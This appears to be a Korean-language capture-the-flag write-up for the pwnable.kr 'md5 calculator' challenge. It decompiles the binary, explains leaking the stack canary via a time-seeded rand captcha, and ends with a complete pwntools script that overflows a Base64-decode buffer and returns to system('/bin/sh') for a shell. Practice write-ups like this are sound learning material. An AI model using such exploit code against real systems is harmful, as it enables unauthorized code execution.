md5 calculator | 200pt
captcha 를 입력받고, BASE64 인코딩된값을 입력받고, MD5 한 결과를 돌려준다.
gdb-peda$ checksec hash
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
카나리와 NX가 설정되어있다.
main
undefined4 main(void)
{
uint __seed;
int local_18;
int local_14;
setvbuf(stdout,(char *)0x0,1,0);
setvbuf(stdin,(char *)0x0,1,0);
puts("- Welcome to the free MD5 calculating service -");
__seed = time((time_t *)0x0);
srand(__seed);
local_14 = my_hash();
printf("Are you human? input captcha : %d\n",local_14);
__isoc99_scanf(&DAT_080492df,&local_18);
if (local_14 != local_18) {
puts("wrong captcha!");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Welcome! you are authenticated.");
puts("Encode your data with BASE64 then paste me!");
process_hash();
puts("Thank you for using our service.");
system("echo `date` >> log");
return 0;
}
srand(time(NULL)) 으로 난수를 생성하고 my_hash() 로 해쉬값을 생성한뒤, captcha 로 출력해 입력값과 맞아야한다.
맞으면 process_hash() 함수를 호출하고 log 파일에 date 를 길록한다.
my_hash()
int my_hash(void)
{
int iVar1;
int in_GS_OFFSET;
int local_3c;
int local_30 [8];
int canary;
canary = *(int *)(in_GS_OFFSET + 0x14);
local_3c = 0;
while (local_3c < 8) {
iVar1 = rand();
local_30[local_3c] = iVar1;
local_3c = local_3c + 1;
}
if (canary != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return local_30[4] - local_30[6] + local_30[7] + canary +
local_30[2] - local_30[3] + local_30[1] + local_30[5]
}
main 에서 srand(time(NULL)) 로 난수를 설정하고, local30[0~7] 까지 rand() 값으로 채운다.
그리고 ar[1]+ar[2]-ar[3]+ar[4]+ar[5]-ar[6]+ar[7]+canary 를 리턴한다. 같은시간에 난수값을 생성하면
canary 를 leak 할 수 있겠다.
process_hash()
void process_hash(void)
{
undefined4 uVar1;
void *__ptr;
int iVar2;
undefined4 *puVar3;
int in_GS_OFFSET;
byte bVar4;
undefined4 local_210 [128];
int local_10;
bVar4 = 0;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
iVar2 = 0x80;
puVar3 = local_210;
while (iVar2 != 0) {
iVar2 = iVar2 + -1;
*puVar3 = 0;
puVar3 = puVar3 + 1;
}
do {
iVar2 = getchar();
} while (iVar2 != 10);
iVar2 = 0x100;
puVar3 = (undefined4 *)g_buf;
while (iVar2 != 0) {
iVar2 = iVar2 + -1;
*puVar3 = 0;
puVar3 = puVar3 + (uint)bVar4 * 0x3ffffffe + 1;
}
fgets(g_buf,0x400,stdin);
iVar2 = 0x80;
puVar3 = local_210;
while (iVar2 != 0) {
iVar2 = iVar2 + -1;
*puVar3 = 0;
puVar3 = puVar3 + (uint)bVar4 * 0x3ffffffe + 1;
}
uVar1 = Base64Decode(g_buf,local_210);
__ptr = (void *)calc_md5(local_210,uVar1);
printf("MD5(data) : %s\n",__ptr);
free(__ptr);
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
g_buf 에 입력을받고, Base64Decode, calc_md5 를 호출한다.
Base64Decode()
undefined4 Base64Decode(char *param_1,void *param_2)
{
char cVar1;
undefined4 uVar2;
FILE *stream;
BIO_METHOD *type;
BIO *b;
BIO *append;
int iVar3;
uint uVar4;
char *pcVar5;
byte bVar6;
bVar6 = 0;
uVar2 = calcDecodeLength(param_1);
uVar4 = 0xffffffff;
pcVar5 = param_1;
do {
if (uVar4 == 0) break;
uVar4 = uVar4 - 1;
cVar1 = *pcVar5;
pcVar5 = pcVar5 + (uint)bVar6 * -2 + 1;
} while (cVar1 != '\0');
stream = fmemopen(param_1,~uVar4 - 1,"r");
type = BIO_f_base64();
b = BIO_new(type);
append = BIO_new_fp(stream,0);
b = BIO_push(b,append);
BIO_set_flags(b,0x100);
uVar4 = 0xffffffff;
do {
if (uVar4 == 0) break;
uVar4 = uVar4 - 1;
cVar1 = *param_1;
param_1 = param_1 + (uint)bVar6 * -2 + 1;
} while (cVar1 != '\0');
iVar3 = BIO_read(b,param_2,~uVar4 - 1);
*(undefined *)(iVar3 + (int)param_2) = 0;
BIO_free_all(b);
fclose(stream);
return uVar2;
}
BIO 가 붙은 함수들은 OpenSSL 함수들이라는데, BIO_read 부분만 보면 된다. 위에서 암호화한 값을
param2 (로컬 버퍼)에 붙여넣고있다. 로컬버퍼위치는 0x20c 이고, g_buf (param1) 는 0x400 만큼 입력을 받으니
BOF 가 발생하게된다.
calc_md5 함수는 별로 중요하지 않으니 패스한다.
system 함수가 주어져있고, PIE 가 적용되어있지 않기에 전역변수인 g_buf 에 payload 를 입력하면 된다.
payload : 연결과 동시에 난수를 생성해 canary 를 역연산해서 canary 에 overwrite 하고
, system으로 리턴, g_buf 어딘가에 /bin/sh 를 적고 그 주소를 인자로 준다.
payload 는 /bin/sh 제외하고 base64 인코딩한다. (평문으로 인자를 줘야하기때문)
base64 인코딩하면, 6bit 당 2bit 의 overhead 가 발생하기때문에 데이터가 약33% 증가한다.
하지만, 입력은 0x400 만큼 받고, payload 의 길이는 0x20c+12 이기때문에, 인코딩해도 0x400 를 넘지않는다.
from pwn import *
from ctypes import *
from ctypes.util import find_library
import base64
libc=CDLL(find_library('c'))
libc.srand(libc.time(0))
r=remote("pwnable.kr",9002)
#r=process("./hash")
b=ELF("./hash")
r.recvuntil("captcha : ")
binsh=0x804b0e0+720
cap=int(r.recvline().strip())
rnd=[]
for i in range(8):
rnd.append(libc.rand())
canary=cap-(rnd[1]+rnd[2]-rnd[3]+rnd[4]+rnd[5]-rnd[6]+rnd[7])&0xffffffff
#log.info(hex(canary))
pay=''
pay+='x'*0x200
pay+=p32(canary)
pay+='x'*12
pay+=p32(b.plt['system'])
pay+='x'*4
pay+=p32(binsh)
pay=base64.b64encode(pay)
#print len(pay)
pay+='/bin/sh\x00'
r.sendline(str(cap))
r.sendline(pay)
r.interactive()
역연산후 canary 덮고 system.plt 로 리턴. 인코딩된 페이로드 뒤에다가 /bin/sh\00 을 넣어
g_buf 에 평문 /bin/sh 가 들어가게한다음, g_buf+(인코딩된페이로드길이) 를 인자로 준다.
실행했을때 조금이라도 렉이 걸리면, 시간차이가 나서 익스가 실패한다.
문제에서는 pwnable.kr 에 ssh 접속해서 로컬에서 익스하라한다.